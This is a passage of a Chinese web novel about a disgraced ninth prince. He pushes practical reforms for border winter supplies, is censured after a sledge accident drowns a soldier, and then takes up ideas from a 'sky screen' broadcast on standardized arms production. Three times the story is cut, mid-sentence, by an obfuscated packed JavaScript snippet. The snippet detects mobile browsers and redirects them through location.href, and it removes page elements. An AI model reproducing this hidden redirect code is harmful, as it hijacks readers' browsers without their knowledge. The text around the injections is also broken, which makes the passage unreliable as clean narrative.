第三条“改良仓储堆垛”,简单到近乎土气。离地垛台、留通风隙……这不就是农家存粮防潮的法子么?怎么以前就没人想到用在边镇粮草炭薪上? 第四条“就地取材,以补不足”。黑棘、乌蒿、石藓……钱谦益作为户部尚书,自然知道这些北地遍地的“无用之物”。但将它们系统收集、加工,作为补充,这思路…… 第五条“优化燃料使用,分级配给”。将物资分等,按需分配,物尽其用。 第六条“试行定量核销,激励节省”。结余折价奖励……钱谦益的手指在这条上顿住了。这已不单单是技术改良,隐约触及了底层的人。 边军苦寒,若真能因节省而多得些实惠,那积极性…… 第七条“广纳边军老卒之智”。收集土法,验证推广。 没有一句空话,没有一条需要翻天覆地的变革。每一条都像是从现有流程的缝隙里长出来的,带着泥土和冰碴子的实感,却又精准地指向那些浪费的关节。 钱谦益放下文书,久久不语。这七条,单独看任何一条,都只是小修小补。 但七条合在一起,若真能落实个五六成……这个冬天的损耗,或许真能降下一截。 “来人!”他扬声唤道,“将这份条陈,立刻抄录两份。一份送兵部杨尚书处,一份……送内阁周阁老案头。原稿,我亲自送进宫。” 乾清宫暖阁。 景和帝看完条陈,脸上没什么表情,只将文书轻轻放在案上。 “钱卿以为如何?” 钱谦益躬身:“陛下,臣以为……条陈所列诸法,皆务实可行,且多属微调,推行阻力相对较小。尤其运输、仓储、就地取材数条,若能在宣大二镇先行试点,或可见速效。” “哦?你觉得能省下多少?” “这……臣不敢妄断。然若诸法并用,堵住些明显漏洞,今冬损耗降下一成半至两成,当有可能。” 钱谦益谨慎估算。一成半,听起来不多,但换算成实物,那是数千车炭薪、数万束草料,足以让上万边军这个冬天好过不少。 景和帝不置可否,看向侍立一旁的王德安:“兵部那边,杨继盛怎么说?” 王德安低声道:“杨尚书已看过抄本,只说了八个字:‘切中时弊,可速试之’。” 景和帝眼中掠过一丝极淡的讶异。杨继盛是出了名的谨慎寡言,能得他这八字评价,已属难得。 “看来,老九这阵子在皇庄,没光顾着种地。”皇帝的手指在条陈上敲了敲,“传旨:北地冬储七条,准在宣府、大同二镇先行试点。着宣大总督统筹,户、兵、工三部派员协理。九皇子殷澈,擢为‘北地冬储整顿协理’,专司此事联络协调,可向朕直呈进展。试点以今冬为限,明春据实效议赏罚。” “陛下,”钱谦益忍不住道,“九殿下年幼,且……身份敏感,亲赴边镇恐有不便,亦不安全。” “朕没让他去边关。”景和帝淡淡道,“他就在京里,做他的协理。收集各镇反馈,琢磨改进,协调三部拨付物资。边镇具体事务,自有督抚、总兵去办。朕倒要看看,他这纸上谈兵的法子,离了京郊的田地,还能不能玩得转。” “臣……遵旨。” 消息传到京郊皇庄时,般澈正在看赵、孙二人鼓捣出来的“泥炭减烟土法”。 其实就是个加了拐脖陶管的简陋炉子,让烟气在管中多走一截,冷凝部分烟油再排出,虽不能根除煤烟,却能减淡许多。 “殿下,宫里来旨意了!”小德子跑得气喘。 听完擢升和试点安排,般澈并无太多喜色,反而眉头微蹙。 协理。联络协调。在京中。 父皇这是给了他一个名分,却又把他拘在京城。边镇天高皇帝远,那些督抚、总兵、仓场大使,哪个不是积年的老吏?会真心实意听他一个“戴罪皇子”的法子?所谓的反馈,只怕是报喜不报忧,或阳奉阴违。 但他没有选择。 “赵师傅,孙师傅,泥炭炉和改良车轴的法子,务必整理成最简易的图说,步骤要清楚,用料要寻常,最好一看就懂,一学就会。”般澈立刻吩咐。 “殿下放心,包在我俩身上!” “小德子,准备一下,我们明日回城。不,今日下午就走。”般澈起身,“去格物院。” “格物院”是皇帝这些日子默许他在王府弄出的名头,如今还在雏形,只有沈墨、李九章等寥寥数人常来。那里,将是他接下来在京中的幕府。 回城路上,寒风凛冽。马车里,般澈闭目养神,脑海却在飞速运转。 七条策略,能否见效,关键不在策略本身多么精妙,而在边镇执行的人。 如何让那些远在千里之外的军将仓吏,愿意照着做? 光靠一纸公文,远远不够。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921316|192347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必须有让他们无法轻易敷衍的东西。 他需要帮手。不止是沈墨、李九章这样技术型的人才。 他还需要能理解并传递他意图的信使,需要能甄别反馈真伪的耳目,甚至需要能在边镇当地推动落实的自己人。 人才……天幕曾点出的人才地图中,似乎还有…… 他忽然睁开眼:“小德子,之前让你打听的,将作监那个喜欢琢磨机巧的宦官,还有混迹东市丐帮的那个独眼头领,有消息了吗?” 小德子一愣,忙道:“回殿下,打听了。将作监那个叫黄七,是个老匠户出身,因手艺好被选入宫,专管宫内器物修缮,酷爱琢磨些省力的机关,人送外号‘黄巧手’。至于丐帮那个……只知道都叫他‘独眼老贺’,在东市三教九流里很有些门道,具体住哪,不好找。” “黄七……独眼老贺……”般澈念着这两个名字。 一个精通机械,或许能在改良运输工具、推行标准化零件上出力。 一个消息灵通,或许……能成为他在京城乃至边镇了解真实情况的“耳朵”。 “回城后,想办法接触这两个人。”般澈沉声道,“不必声张,先看看能否为我所用。” “是。” 而此刻,远在宣府镇总兵府,宣大总督郑伦也刚刚接到来自京城的廷寄和新到的“冬储七条”。 花白胡子的老总督眯着眼,看着那“九皇子殷澈协理”的落款,又看了看条陈上那些“冰橇”、“离地垛”、“黑棘乌蒿”的字眼,嗤笑一声,将文书随手丢给下首的宣府总兵王焕。 “王爷看看,京城里的贵人,又开始拍脑袋了。冰上走橇?也不怕掉冰窟窿里。收集杂草,当我们营是叫花子营?” 王焕接过看了看,却是沉吟片刻:“督帅,末将以为……这几条,倒也不全是空谈。比如这分段运输、设中转场,若真能厘清责任,咱们接货时也省心。还有那离地堆垛,法子是土,但或许真能防潮。至于就地取材……唉,您是知道的,去年冬,下面有些营堡,实在缺柴,连帐篷杆子都劈了烧。” 郑伦冷哼一声:“就算是些土法子,何必劳动一位皇子挂名?还是个被天幕点了名的‘灾星’。陛下这是什么意思?让咱们边军陪一个皇子玩过家家?” “督帅,陛下既然下旨试点,咱们多少得做出个样子。何况,条陈里也说了,试行有效,或有奖励。就算不为奖励,若能真省下些物资,让弟兄们少挨点冻,也是好事。” 王焕劝道,“不如,咱们就选一两个不太要紧的营堡,让他们照着试试?成了,是督帅领导有方;不成,也没什么损失。” 郑伦摸着胡子,半晌,挥挥手:“罢了,就按你说的办。选镇虏堡和张家口仓场,让他们折腾去。你盯着点,别出乱子就行。至于那位九殿下那边该怎么反馈……你看着办,别太实,也别太虚。” “末将明白。” 类似的对话,也在大同镇上演。只是大同总兵曹斌性子更直些,对着条陈琢磨了半天,对亲兵道:“别的先不管,这‘收集老卒土法’有点意思。去,把各营那些老冬烘都叫来,问问他们有没有什么过冬的偏方,记下来。万一有用呢?” 今年的冬天与往年相比好似不同了许多。 13.郭将军 京城入了腊月,干冷的风像刀子,刮过“格物院”那扇没关严实的木门。 般澈坐在屋里唯一的炭盆边,手里捏着两张纸。一张是宣府总兵王焕送来的,一张是大同总兵曹斌送来的。都是关于“冬储七条”试行的禀报。 宣府那张,字写得工整,话说得周全。说镇虏堡做了二十架冰橇运炭,果然比车快,车轴损耗也少了。张家口仓场搭了离地垛台,等着开春看防潮效果。就地取材嘛,天太冷,黑棘乌蒿不好挖,只弄到一点。泥炭炉发下去试烧了,烟是小了点。 看着样样都做了,可“只弄到一点”、“试烧了”这种词,一听就是应付差事。 边关那些老将,给京城皇子面子,挑几样不费劲的做做样子,算是交了差。 大同那张更简单,是曹斌手下幕僚写的。说已经传令各营,收集老卒过冬的土法子,什么冻土块垒灶、硝石吸潮,记了十几条,真不真还得验。至于分级配给、定量核销这两条,牵扯太多,得和户部商量细则,所以暂时没动。 倒是老实,直接说了“暂时没动”。 般澈放下纸,搓了搓冻得有些发僵的手指。不出所料。天高皇帝远,那些总兵、督抚,哪个不是人精?谁会真为一个“戴罪协理”皇子的新法子费大力气?能写份像样的报告回来,已经算客气了。 光靠公文和这个虚头巴脑的协理名头,想撬动边关,难。 他需要人。能干事的人。 “殿下,”小德子推门进来,带进一股冷风,“黄七那边,搭上线了。” 黄七是将作监的老工匠,手艺好,爱琢磨机关消息,外号“黄巧手”。般澈一直念着他。 “怎么说的?” “按您的吩咐,没直接找,托了个熟识的内侍,说王府有几件精巧玩意儿坏了,寻常匠人修不了,请黄七来看看。他昨儿下午来了,看了咱们从皇庄带来的曲辕犁模型和那个改良的泥炭炉,围着转了老半天,问是谁做的。奴才按您教的,说殿下得了本奇书,照着做的。他没多说,走的时候把那个有点漏烟的泥炭炉拐脖管要了去,说拿回去琢磨琢磨怎么铸得更结实。” 般澈点点头。肯要东西去研究,就是有兴趣。干技术的人,见了好东西,手就痒。 “他说什么没有?” “说了。”小德子回想,“他说:‘这东西心思巧,但用料和火候还能更好。要是用铜芯包铁皮,散热匀,也更经使。还有这拐脖的角度,要是再弯两分,烟走得就更顺了。’” 般澈眼睛亮了一下。行家就是行家,一眼看出门道,还能立刻提出改进。他要的就是这种人,不止能照做,还能优化。 “再找个由头,请他过来一趟。这次,把咱们想的‘四轮大车加固法子’草图给他看,听听他的主意。特别是车轴和车轮连着的地方,怎么弄才更容易换、更抗颠。” “是。”小德子应下,又道,“独眼老贺那边……有点棘手。那人在东市那片是个人物,但神龙见首不见尾。奴才使了银子,托了几层关系递话,说有位贵人想打听点边关来的稀罕消息,价钱好商量。昨儿回信了,约今晚在东市尽头的‘老茶棚’见,对方只派个‘伙计’来。” “伙计也行,先摸摸底。”般澈沉吟,“你晚上带两个机灵的侍卫,扮成普通大户人家的跟班去。见面只问三件事:第一,最近京城市面上,有没有从宣府、大同那边流过来的特别东西,比如看着不一样的石炭、少见的草料?第二,边关最近有没有关于冬储的新鲜传言,比如哪个营领到了新式炉子,哪个仓场在垒高台?第三,当兵的私下有没有议论‘节省有赏’的事?记住,多听,少说,别露底。回来一字不落告诉我。” “奴才明白。” 小德子出去后,般澈起身走到隔壁屋子。李九章正趴在地上,对着一张大纸咬笔杆。纸上是他画的“物资核销账表”,密密麻麻全是格子和数字。 “殿下,”李九章见般澈进来,慌忙要起身。 “坐着,接着说。”般澈蹲下看那表格。 “快弄好了。”李九章指着纸,“按您说的,分‘该领多少’、‘实领多少’、‘用了多少’、‘剩下多少’、‘能折多少钱’这几栏,每月算一次。各营自己记流水账,月底交总账。只要开头数不错,后头加减乘除,有错一眼就能瞧出来。我还想了几个验算的式子,防着下面人乱改数。”他指着一旁更复杂的算式。 “不错。”般澈点头,“但这东西是给边关那些大老粗用的,有的字都不识几个。得再简单点,最好做成现成表格,他们只管往空里填数。你再想想,怎么能让表格更明白、更不容易填错。” “是!”李九章用力点头,又趴回去算。 回到炭盆边,火弱了。般澈添了两块炭,盯着跳动的火苗出神。 人手慢慢有了,工具一点点在做。可要真正让边关动起来,还差一股劲。一股能让那些总兵、督抚心里打鼓的劲。 他想起了一个人。 兵部尚书杨继盛是文官,支持归支持,但做事讲究章程。真正在军中说一不二、只看实效不管虚文的,是那些带兵杀出来的老帅。 如今朝中,最有份量的老将,是镇远侯、五军都督府左都督郭振。老爷子六十多了,跟先帝打过仗,脾气爆,最见不得贪墨浪费和花架子,在军中威信极高。要是他能点个头,甚至只是过问一句,边关那些人的脸,立马就得变。 但怎么搭上郭振?直接上门,人家只会当你是攀高枝的。 般澈的目光,落在大同报上来的“收集老卒土法”那几个字上。有了。 “小德子!”他提高声音。 刚走到门口的小德子折回来:“殿下?” “准备纸笔。我要编一本小册子,叫《北地老卒御寒土法初录》。把曹总兵报上来的那十几条土法,加上咱们自己弄的泥炭炉用法、冰橇做法、离地垛台搭法,还有赵师傅他们说的车子加固法子,全写进去。别用文言,就写大白话,配上简单图。编好了,抄二十份。” “二十份?”小德子一愣,“这么多给谁?” “十份,用‘格物院’的名头,送给兵部、五军都督府、还有宣府、大同、蓟辽这些边镇的衙门。另外十份,” 般澈顿了顿,“想办法,悄悄送到京城里那些武将勋贵家里,特别是镇远侯府。不用写谁送的,就说是‘民间有心人搜集整理,送给边军弟兄试试’。” 他要借这本不起眼的小册子办两件事:一是把种子撒得更广些,万一哪个边将或勋贵子弟看了觉得有用,自己试着弄,就是意外之喜;二是,探探郭老侯爷的口风。一个真心疼士卒的老将,看到这些或许能让兵少受冻的东西,能没点反应? 只要他稍微问一句,哪怕只是派个人来打听打听,机会就来了。 两天后,腊月初一。 格物院来了位意料之外的客人。 不是郭老侯爷本人,是他的嫡长孙,十八岁的郭骁,在神机营挂了个千户的职。小伙子高高壮壮,一身锦缎箭袖,外头罩着貂皮斗篷,眉眼带着武将家特有的爽利劲。他大步走进堂屋,眼睛一扫,落在炭盆边穿旧棉袍看图纸的般澈身上。 “你就是弄出那些土法册子的九殿下?”开门见山,没什么客套。 般澈放下图纸起身:“正是。郭小将军来访,有失远迎。” “不讲究那些。”郭骁摆摆手,自己拉了把椅子坐下,解下斗篷扔给小德子,“我爷爷看了你那份东西,让我来问问,里头说的‘冰橇运炭’,真比大车快?还有那泥炭炉怎么弄才烟小?” 般澈心里稳了稳,面上平静:“冰橇快不快,得看河冰厚不厚、平不平,还有拉橇的牲口耐力。要是冰结实、路面平,同样的牲口,拉差不多的货,比四轮车能快三到五成,还不费车轴。泥炭炉减烟,关键是加长拐弯的烟管,让烟尘有机会沉下来。我这儿有做好的,郭小将军要不要看看?” “看!”郭骁很干脆。 般澈领他到旁边屋子,那里有赵匠人新做的改良泥炭炉,还有个小冰橇模型。 郭骁围着炉子转了两圈,又拿起冰橇模型掂了掂:“这东西……看着是轻省。要是用在辽东那些冻实的河面上,没准真行。我爷爷以前在辽东带过兵,总说冬天运粮运炭最磨人,车坏马累。”他抬头看般澈,“九殿下,你这套东西,是只打算在宣府大同试试,还是……” “只要对国家好、对当兵的有用,就该推开。”般澈道,“不过我人微言轻,知道的也有限。边关情况复杂,这些土法子到底合不合用,得边军弟兄自己试了才知道,还得不断改。比如这冰橇,冰面不同、货不同,可能就得调调橇板宽窄、弯度。” 郭骁盯着他看了会儿,忽然咧嘴笑了:“殿下说话实在。不像有些读书人,尽整虚的。”他从怀里掏出那本小册子, “这上头还有些别的,像‘冻土块垒灶’、‘硝石吸潮’,我爷爷说,他在边关时好像听老兵提过一嘴,但没这么清楚。殿下从哪儿找来的?” “有些是边关报上来的,有些是工匠的经验,还有些……是偶然听说。”般澈含糊道,“东拼西凑,只盼能有点用。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929223|192347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “肯定有用。”郭骁把册子揣回去,“我回去跟我爷爷说说。他老人家最烦底下人搞形式,白糟蹋东西。要是真能省下炭草,让当兵的少受点罪,他准高兴。”他顿了顿,又说,“不过殿下,边关那些老爷们,可不一定都这么想。您这‘协理’……怕是不轻松。” “事在人为。”般澈只说了四个字。 郭骁点点头,也不多话,拱拱手:“成,那我先走了。殿下要是还有什么新鲜实在的玩意儿,不妨也往我爷爷府上送一份。他年纪大了,不爱走动,就爱琢磨这些。” 送走郭骁,小德子一脸兴奋:“殿下,镇远侯府……这是瞧上咱们了?” “未必是瞧上,至少是留意了。”般澈望着郭骁离开的方向,“而且,这位郭小将军,说不定能当个不错的……传话人。”他转身,“给宣府王总兵、大同曹总兵去信,把郭小将军今天来问冰橇、泥炭炉的事,随口提一句。语气要平常,就像普通通报。” 小德子眼睛一亮:“奴才懂了!” 这消息传到边关,那些敷衍了事的总兵大人心里,少不得要咯噔一下。镇远侯虽然不直接管他们,但他的态度,在军中的分量,足够让很多人重新掂量。 腊月初五,独眼老贺那边的“伙计”,传回了点有用的风声。 “那人说,市面上最近确实多了些从大同那边来的‘石炭末’,掺了黄泥做成煤饼,便宜,就是烟大呛人,多是穷人家买。还听说,宣府那边有个管仓场的官儿,因为忙着指挥人垒‘高台’堆炭草,把一批该送出去的冬衣给耽搁了,被上头骂惨了。”小德子汇报, “至于‘节省有赏’,当兵的里头还没什么动静,但有些小官在嘀咕,说京城来了新规矩,以后领东西要记账算账了,麻烦。” 般澈默默记下。石炭末煤饼在流通,说明“就地取材”的劣质燃料已经有人在用,只是没弄好,烟大是个问题。垒高台耽误正事,说明下面执行可能走了样,或者心里不乐意。军官嫌记账麻烦,是预料中的阻力。 “告诉那边,接着留意,特别是各营试了新法子后,当兵的私下怎么议论。价钱可以再加。” “是。” 腊月初十,宣府镇的第二份报告到了。 这回,王焕总兵的字迹瞧着认真了点。 “……镇虏堡冰橇运炭已推广到附近三个堡子,河上运炭确实快了不少,打算再扩大。泥炭炉当兵的试了,说还行,就是有反应炉子容易裂。已按殿下给的‘加固图’,让匠户试做铁箍加固。就地取材的事,催了几遍,各堡挖的多了些,但天太冷,还是慢。另外,听说京城镇远侯府也在关注这些法子,末将等必定更加尽心……” 般澈看到“镇远侯府”四个字,知道自己的“借力”起效了。王焕的态度,明显从应付转向了“更加尽心”。 大同曹斌的第二份报告晚了两天,但内容实在。 “……老卒土法试了几条,冻土垒灶确实省炭,已经让各营学着弄。硝石吸潮,用在放箭矢、火药的库房,有点效果。分级配给在一营试了,好炭先紧着哨岗和铁匠铺,当兵的烧混了泥炭的炉子,目前没人抱怨。定量核销……牵扯太多,还在理顺。” 至少,曹斌是真在试,而且有了点结果。 腊月十五,快过年了。 “格物院”里,炭火烧得旺。沈墨难得有空,正和李九章争一个算水闸流量的公式;赵、孙两位匠人带着黄七介绍来的两个小徒弟,在院里叮叮当当改一辆旧车的车轴;小德子拿着新到的边关消息,小声念给般澈听。 一切,好像都在往好里走。 直到腊月十八,一个坏消息像冰坨子砸下来。 小德子脸煞白,跑进来时差点绊倒:“殿下!不好了!宣府急报!镇虏堡……试用的冰橇,运炭的时候冰面裂了,连橇带炭全掉河里了,还……还淹死了一个赶橇的辅兵!” 屋里瞬间死静。 沈墨停了争论,李九章抬起头,院里敲打声也停了。 般澈慢慢放下手里的笔。 该来的,还是来了。推行新东西,不可能一帆风顺。出事、犯错、甚至死人,都可能成为反对的人攻过来的刀子。 “报上怎么说的?”他声音平静,听不出起伏。 “说是这几天天暖,冰变薄了,查的时候没查仔细。王总兵已经下令停用冰橇,还……还上表请罪,说这法子是……” “是我让试的。”般澈接了下去。 他走到窗边,看着外面铅灰色的天。 麻烦,这才算真的来了。 14.军械改良坊 冰橇出事、辅兵淹死的消息,很快传遍京城。 腊月二十二小朝会,御史参劾般澈,说他胡乱出主意,害死辅兵,浪费炭薪,要求严惩并停止所有新法。 言辞激烈,直指殷澈。 一时间,许多目光隐晦地投向站在皇子班列末尾的般澈。 景和帝高坐御座,脸上没什么表情,只等御史说完,才缓缓道:“王焕的请罪折子,朕看了。杨尚书,兵部核查如何?” 兵部尚书杨继盛出列:“回陛下,兵部已遣员赴宣府核查。初步回报,镇虏堡冰橇出事,确因当地冬日忽暖,冰层变薄不及察验所致。然冰橇运炭之法,在王总兵禀报中,此前于坚实冰面运行月余,效率确有提升,车马损耗亦减。此事乃意外,亦涉查验疏忽,非全系冰橇之法本身之过。” 御史不服:“杨尚书此言差矣!既知北地冬日天候无常,何以冒然推行冰上行橇?此非主事者思虑不周、急于求功之过耶?况一辅兵因此丧生,岂能轻飘飘以‘意外’带过?” 杨继盛面色不变:“边镇冬储,历年皆有民夫、辅兵因冻饿、伤病、意外亡故。若因试行新法偶有意外便全盘否定,则任何改进皆不可为。兵部以为,当查清责任,完善规程,而非因噎废食。” 两人在御前争论了几句。 皇帝的目光掠过众人,最后落在般澈身上:“殷澈,你有何话说?” 般澈出列,躬身:“回父皇。儿臣所拟冬储诸策,皆基于现有条件,求务实速效。冰橇运炭,确为利用北地冬日河冰之利。然儿臣思虑不周,未强调查验冰层之规程,亦未强调天暖预警之事,致有疏失,酿成祸患。儿臣有过,请父皇责罚。” 他认错认得干脆,没推卸,但也没全揽。只说“思虑不周”、“未强调规程”,重点还是放在“法可行,但执行有疏漏”上。 皇帝没立刻说话,手指在御案上轻轻敲了敲。 这时,一直沉默的镇远侯郭振,忽然咳嗽一声,开了口。 老侯爷声音洪亮,带着武将特有的直率:“陛下,老臣插句嘴。带兵打仗,没有不死人的。运粮运炭,走车走船走冰,哪天没个意外?要是死个人就吓得不敢动弹,那啥也别干了。 九殿下那册子,老臣看了,里头好些土法子,像冻土垒灶、硝石吸潮,是真有用。冰橇这事,是底下人查验不细,该罚的是疏忽的人,不是定法子的人。法子要是没用,王焕那老小子能在一个月里把冰橇推到三个堡子用?他精着呢!” 郭振这话一出,朝堂上顿时安静了不少。老侯爷在军中的威望摆在那里,他开口说“法子有用”,分量极重。而且他点出王焕主动推广冰橇的事实,也间接说明这法子并非全然无用。 皇帝看了郭振一眼,点点头:“郭卿所言在理。”他又看向般澈,“殷澈,你既知疏漏,可有补救之策?” “儿臣有。”般澈早有准备,“其一,即刻完善冰橇使用规程。须规定:每日运输前,须由专人在前探冰,以重锤测冰厚,不及三尺不得通行;沿途设哨,观测天候,若有连续晴暖,须暂停冰运;每架冰橇须配长绳、浮木等救急之物。其二,对伤亡辅兵,从优抚恤,其家眷由朝廷供养。其三,泥炭炉易裂、车轴加固、离地垛台等其余诸法,当继续推行,并广纳边军反馈,持续改进。其四,定量核销、分级配给等涉及账目管理之法,可先在小范围内试行,积累经验,再行推广。” 他条理清晰,既承认问题,提出具体补救措施,又明确哪些该继续,哪些该调整。不因噎废食,也不盲目硬挺。 皇帝听完,沉吟片刻,道:“便依你所奏。冰橇运炭暂停,待完善规程、天气转寒后再议。其余诸法,继续推行。伤亡辅兵,从优抚恤。殷澈,你协理之责不变,须更尽心,若再有疏失,严惩不贷。” “儿臣遵旨。”般澈躬身领命。 那御史还想说什么,被皇帝一个眼神止住了。 一场风波,看似暂时平息。 但般澈知道,这只是开始。反对的声音不会消失,只会暂时隐藏。而边关那些将领,经此一事,对新法的态度恐怕会更加谨慎,甚至阳奉阴违。 他必须做出实绩,而且是更快、更显眼的实绩,来堵住那些人的嘴。 下朝后,般澈没有立刻回王府,而是去了兵部衙门,求见杨继盛。 杨继盛在值房见他,态度比以往温和了些:“殿下今日应对,颇为妥当。郭老侯爷肯开口,亦是难得。” “多谢杨尚书在朝上仗义执言。”般澈诚恳道,“今日之事,也给我提了醒。推行新法,光有法子不行,还得有严密的规程和督查。我想请杨尚书帮个忙。” “殿下请说。” “我想请兵部选派几名干练、熟悉边务的官员或老卒,与我‘格物院’的人一同,前往宣府、大同,实地查看诸法试行情况。一为查验规程执行是否到位,二为收集一线真实反馈,三为……震慑某些敷衍了事之行。”般澈说得直接。 杨继盛捻须思索。派兵部的人下去,等于是给了九皇子官方背书,也加强了对边镇试行的监督。这于公于私,都说得过去。 “此事可行。老夫可派两名武选清吏司的主事,再配两名有过边军经历的令史,三日后可随殿下所遣之人同往。然他们只负责查看记录、传递消息,具体事务,仍由边镇处置,殿下之人亦不可干涉军务。” “足够了,多谢杨尚书!” 有了兵部的人同行,边关那些总兵至少表面文章会做得更认真些,反馈也会更真实些。 回到格物院,般澈立刻召集人手。 沈墨暂时走不开,水利上的事正忙。李九章年纪小,不适合长途跋涉。赵、孙两位匠人要留下改进泥炭炉和车轴。黄七倒是跃跃欲试,但他是宫里的人,不便离京。 般澈想了想,点了小德子,再从王府侍卫中选了两名稳重可靠的。加上兵部派的四人,组成一个八人的“巡查小组”。 “你们此去,主要办四件事。”般澈交代小德子,“第一,带着完善后的冰橇规程,当面交给王总兵和具体经手的军官,强调查验之责。第二,实地查看离地垛台搭得如何,泥炭炉用得怎样,就地取材到底挖了多少。第三,悄悄找些普通士卒或低阶军官,问问他们觉得这些新法子到底有没有用,有什么麻烦。第四,把大同曹总兵那边试行分级配给、收集土法的情况,也详细记下来。” 他特别强调:“多看,多记,少说。尤其是兵部的人在时,多听他们的意见。遇到边将敷衍或阻拦,记下事实,不要当面冲突。一切以收集实情为首要。” “奴才明白!”小德子郑重点头。他知道这次差事的重要,也知危险。边关不是京城,天寒地冻,人生地不熟,还有可能得罪当地将官。 “带上足够的银钱和御寒衣物。遇事机灵点,安全第一。”般澈拍了拍小德子的肩膀。 巡查小组腊月二十五出发。 他们走后,般澈让李九章加快弄简易账表,让赵孙匠人按黄七的建议改进车轴零件。冰橇出事,不少人看笑话,但也有些士兵觉得泥炭炉减烟、冻土垒灶省炭确实有用。 腊月二十八,巡查小组的第一份密报通过驿卒快马送回。 小德子写的:宣府王总兵表面客气,但下面仓场营堡对离地垛台、泥炭炉这些事多半敷衍。垛台搭得简陋,泥炭炉发得少。只有用过冰橇尝到甜头的镇虏堡等三个堡子,对新规矩执行还行。 就地取材都说天冷难挖,没弄到多少。私下问士兵,有的说泥炭炉烟小但太少,有的说垛台搭好了应该能防潮但搭得太糙。大同曹总兵那边好些,分级配给试行营的炭消耗少了一成半,士兵知道结余可能折钱,有点盼头。老卒土法推广了几条,有用。 但曹总兵说记账核销太麻烦,不是一个营能定的。兵部的人都已经记下。 般澈看完,情况比预想的稍好。 至少曹斌那边真在干,也有了效果。巡查小组下去,王焕那边至少表面文章做了。 他需要让曹斌那边的效果更明显,成为榜样。同时得让宣府那些敷衍的地方动起来。 也许可以从钱上想办法。条陈里提到“结余折价奖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936736|192347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 励”,曹斌那边可能还没真给钱,士兵只是“有点盼头”。如果自己先想办法拿出一笔钱,实实在在奖励那个试点营,消息传开,其他营会不会眼红?宣府那些敷衍的地方,知道大同那边干了真有好处拿,会不会也跟着学? 他正琢磨怎么弄这笔钱,是动用自己的份例,还是找其他门路。 腊月二十九,小年夜,傍晚。 天忽然又亮了。 不是落日余晖,是那种熟悉的、非自然的光,从天空洒下。 京城内外,无数人抬头。 巨大的光幕,在渐暗的天色中展开。 【哈喽各位!好久不见,阿月又来啦!】活泼的女声准时响起, 【上期咱们看了哀帝那些被埋没的奇思妙想,是不是觉得挺可惜?今天这期,咱们来看点更实在的——《哀帝的不务正业如何真正改变了底层?》!】 光幕画面一变,出现了一个热火朝天的场景:一个不算大的作坊里,几十号人分成几排,每人面前只处理零件的一小部分。有的在锻打统一尺寸的枪头,有的在打磨制式的弓臂,有的在组装弩机。动作熟练,流程顺畅。 【看!这就是哀帝时期,在将作监下设的一个“军械改良坊”!】女声带着赞叹,【哀帝引入了“标准化零件”和“流水线组装”的概念。看,这些枪头尺寸完全一样,弓臂弧度统一,弩机部件可以互换。这样做有什么好处?】 画面闪出对比数据: 【原有模式:一名熟练匠人打造一杆完整长枪,需五日。损坏后,若非大匠亲自修理,常整杆报废。】 【改良模式:分工协作,平均每日可产出二十杆长枪。损坏后,只需更换坏掉的部件,普通学徒即可操作】 【更重要的是!】女声提高音量,【这种方式,让许多原本只能打杂的学徒、次级匠户,有了稳定发挥所长的机会,甚至因为完成特定工序又快又好而获得额外奖赏。一些伤残老兵也被吸纳进来,从事力所能及的质检、搬运工作。这个小小的作坊,不仅产出多了,还养活了许多原本边缘的人!】 画面扫过作坊里那些专注的面孔,有年轻人,也有手上带疤的老兵。 弹幕开始滚动: 【我靠,这管理思想超前啊!】 【标准化+流水线,现代工厂雏形!】 【效率提升三倍?成本降四成?这数据真的假的?】 【看来哀帝不是不会管,是没管对地方?】 【要是这套用在所有军械制造上……不敢想。】 【等等,这期主题是“改变底层”?】 【对啊,那些学徒、伤残老兵,不就是底层吗?有了稳定工作和收入,生活就不一样了。】 格物院里,般澈仰头看着光幕,心跳微微加快。 天幕又一次,在他需要的时候,送来了“弹药”。 标准化零件、流水线组装、效率提升、成本降低……这些正是他最近在琢磨的军械改良方向!天幕不仅给出了理念,还给出了具体的成功案例和数据! 更重要的是,天幕点明了这一做法对底层的改变。 给学徒、次级匠户、伤残老兵提供了机会。这恰恰能回应朝中某些人“与民争利”、“奇技淫巧”的指责,将其转化为“利军利民”、“人尽其用”的德政! 他几乎能想象,这份天幕内容传到父皇耳中,传到朝臣耳中,会引起怎样的震动。尤其是兵部和那些真正带兵的将领,面对这样的数据,谁能不动心? 而他,只需要顺势而为,将天幕验证过的“未来成功经验,结合当前实际,提出可行的方案。 他转身,快步走回屋内。 “李九章!把之前那份关于边镇军械损耗的数据再找出来!” “赵师傅,孙师傅,黄七师傅上次说的那个‘易更换车轴’的图,再细化一下,想想如果用在枪杆、刀柄的连接上,是不是也行?” “小德子还没回来?立刻再派人去催,让他重点留意边军现在修理军械的真实流程和困难!” 新的机会,来了。 